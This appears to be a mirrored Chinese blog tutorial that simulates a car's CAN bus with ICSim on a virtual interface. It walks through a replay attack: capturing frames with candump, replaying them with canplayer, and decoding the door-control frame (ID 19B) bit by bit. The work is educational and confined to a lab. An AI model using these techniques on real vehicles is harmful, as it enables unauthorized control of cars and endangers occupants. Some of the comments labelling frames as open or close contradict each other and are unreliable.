2

车联网安全入门之仿真一辆车的通信网络 - 知冰

 1 year ago
source link: https://www.cnblogs.com/zhibing/p/16895863.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

车联网安全是目前较为热门的发展方向,但是由于他的入门门槛太高(没有实车)导致大部分人被卡在门槛这里。所以我总结了网上的相关资料写出这篇文章,可以让学习车联网安全的同学来模拟控制一辆车是什么样的感觉,本篇文章通过Ubuntu模拟了车载CAN总线的收发包来进行操作学习,接下来跟着我一步步操作来打开车联网安全的大门吧!

什么是CAN总线

CAN总线又称控制器局域网Controller Area Network的缩写,CAN总线是一种功能丰富的车用总线标准。被设计用于在不需要主机(Host)的情况下,允许网络上的单片机和仪器相互通信。 它基于消息传递协议,设计之初在车辆上采用复用通信线缆,以降低铜线使用量,后来也被其他行业所使用。简单来说就是用来控制车辆功能的通信协议,比如车门解锁、转向灯、刹车、油门等,为什么要使用CAN协议,简单来说就是便宜好用。

CAN总线特性

安全性:
CAN是低级协议,不支持任何内在的安全功能。在标准的CAN中也没有加密,这使得这些网络数据能被截取。在大多数应用中,应用程序需要部署自己的安全机制,例如认证传入命令或网络上某些设备的存在。若不执行适当的安全措施,其他人可能设法在总线上插入消息。尽管一些安全关键功能(如修改固件,编程键或控制防抱死制动)存在密码,但这些系统并未普遍实施,并且密钥对的数量有限。

通信机制:
多主机-即每个节点都有接入总线的能力。

寻址机制:
消息区别:不设节点的地址,通过消息的标志符来区别消息。

帧类型:
数据帧、远程帧、错误帧、超载帧、帧间隔

攻击方式:

  • 应用报文模糊测试
  • Dos攻击测试

由于CAN总线上面的数据包没有任何加密,所以这些数据包能够被截取窃听。由于车载网络使用CAN协议进行通信,所以我们可以联想到车联的功能也是通过CAN网络进行数据发送和交换。比如我们打开左转向灯,那么电信号就会通过CAN总线发送到网络上的每个设备,然后左转向灯会解释数据包并且执行数据包中的指令。

在网络上发送的数据包由两部分组成:标识符和数据。标识符是车辆中设备的表示。数据字段表示要与所述设备一起完成的指令。让我们看下面的例子:

c
(1668496788.311506) vcan0 095#800007F400000017

数据包的开始部分是标识符。在这种情况下,标识符是095。#之后的数据包剩余部分是数据字段。
可以看下Wireshark抓到的包

764a7128a5df4299929d2acae4b961ad.png


标识符在不同车型,相同车型不同年份的情况下也是不相同的,如果是相同车型相同年份的车型那么标识符大概率是通用的,不同的标识符表示车上不同的设备发的包,后面我们需要找到我们想要控制车辆功能的标识符包。

在前面CAN总线特性处我们写的CAN总线攻击方式包括应用报文模糊测试、Dos攻击测试、重放攻击等,接下来我们来实操一下重放攻击,顾名思义就是可以截取数据包然后重新发送导致车辆处于我们的控制之下而不受到车辆所有人的操控。

  • kali2022.03
  • ICSim (仪表盘模拟器)
  • Socketcand(CAN网络)
  • Kayak(一款基于SocketCAN的CAN总线分析工具)

ICSim是一个开源的车辆仪表模拟器,该模拟器包含controls和ICSim两个模块,其中controls负责生成模拟的车辆数据,以CAN报文的方式发送给虚拟的CAN接口,ICSim从虚拟CAN接口读取CAN报文,并在仪表上更新对应零件的状态,如车速、车门状态等等。

highlighter- apache
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf

9ee1cb94a19f4a36b7f581dd4b1e4597.png


c0bb25c6c6cc4cdb84b047c3169b74a1.png

安装ICSim

highlighter- awk
git clone https://github.com/zombieCraig/ICSim.git
highlighter- vim
cd ICSim/
sudo make

d84f4d3f553d4257840344c0461531f2.png

安装socketcand

highlighter- awk
git clone https://github.com/linux-can/socketcand.git

获取缺少的文件

highlighter- awk
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in

2ff470a7a6ef45439839ebf465a3bdf2.png
highlighter- angelscript
cd socketcand/
autoconf

dda9c118842346d4a968b9209b90eec7.png
highlighter- jboss-cli
./configure

7602b6eea54945fcb193b9bc452e4a4d.png
highlighter- ebnf
make clean



highlighter- ebnf
make

b24d074c49d844059eaf292e2436f2e5.png
highlighter- cmake
sudo make install

5ab37cc93be645f682bb3adde2ecf187.png

安装Kayak

highlighter- awk
git clone https://github.com/dschanoeh/Kayak.git
highlighter- ada
cd Kayak/
mvn clean package

804126a562774cbd9b9daed3eeeefeaa.png


至此,全部安装完毕。

首先设置vcan(虚拟CAN)接口

bash
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

04c53d917e284d25ad4e73847fdf29f4.png


打开仪表盘模拟器

highlighter- gcode
./icsim vcan0

60acfdc0237f49e99535cbaeb6054de1.png


打开仪表盘控制器

highlighter- jboss-cli
./controls vcan0

f8b6862b7292448088ef96d920e49c9c.png


点击仪表盘控制器界面就可以模拟操纵车辆了。

功能 控制按钮
转向灯 键盘左右键
速度 键盘上下键
开车门 右SHIFT键+A
关车门 左SHIFT键+A
开启全部车门 左SHIFT键+右SHIFT键
关闭全部车门 右SHIFT键+左SHIFT键

3398fbfeea95403594c5b8b7b0179398.gif


使用candump进行抓包

highlighter- apache
candump vcan0 -l

CTRL+C停止

e9c4b8cfaf9147d89e5d9e3d2cee7d75.png


看到抓到的包,由于CAN在不停的通信所以包会非常大。

63c13986eb584e288fcfe1efcbc381e7.png


接下来我们找到CAN网络上面控制车辆的数据包对他进行攻击。
监听抓包,然后打开所有车门然后关闭。
抓到了一万多个包。

b40e7fcf15904db4a3f34f8500980456.png


尝试重放我们的包

highlighter- apache
canplayer -I candump-2022-11-15_052559.log

可以看到全部车门打开随即关闭。

aa61bd95406b414688bbe311b539c5c6.gif


接下来我们采用二分法每次删除一半来查找关闭车门的包。

最终通过二分法找到打开所有车门的包为:

highlighter- gcode
(1668507963.222323) vcan0 19B#000000000000

ee3a2be82b9a46068700c9b5810a88d0.png


其中的19B是设备标识符,在数据包中查找19B。

highlighter- 1c
└─$ grep 19B candump-2022-11-15_052559.log 

(1668507960.512530) vcan0 244#000000019B
(1668507962.233563) vcan0 19B#00000F000000
(1668507963.222323) vcan0 19B#000000000000
(1668507963.517110) vcan0 244#000000019B
(1668507964.208966) vcan0 19B#00000F000000
(1668507965.319056) vcan0 244#000000019B

91581af6d09c48e9bcde9e0703f87f98.png


我们可以看到其中有一个19B#00000F000000,如果我们得到19B#000000000000是打开所有车门,那么后面我们也进行了关闭所有车门的操作,可以猜测19B#00000F000000是关闭所有车门。

7acbe60105004beb833d791515703f86.gif


可以看到上图,我们成功关闭了所有车门。

如上可知这个数据包中通过第三位字节来控制。

highlighter- gcode
(1668507962.233563) vcan0 19B#00000F000000  //打开所有车门
(1668507963.222323) vcan0 19B#000000000000  //关闭所有车门

锁上所有门的数据包将半字节表示为十六进制F。将其分解为二进制可得出 16 种可能的门组合。

二进制 十六进制
0000 0
0001 1
0010 2
0011 3
0100 4
0101 5
0110 6
0111 7
1000 8
1001 9
1010 a
1011 b
1100 c
1101 d
1110 e
1111 f

尝试字符控制的不同车门。

字符 车门
8 右后车门
4 左后车门
2 右前车门
1 左前车门

假设1是锁门的动作,0是解锁门的动作。因此,当我们识别我们的门时,识别出的门会收到锁门的指令,而其他门会收到解锁的指令。比如字符8的二进制是1000那么就是锁门,开门,开门,开门。

highlighter- tap
右后车门  左后车门  右前车门  左前车门
  8        4        2       1
  1        1        0       0  等于 C

可以尝试查看C是不是关闭了后排两个门,打开了前排两个门。

8974c7878d2d4c86b80ddcab4c46f82e.png


至此,就可以操控每个门的开关了。同理,转向和油门都是相同原理。

控制器區域網路

零成本入门车联网安全研究

__EOF__


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK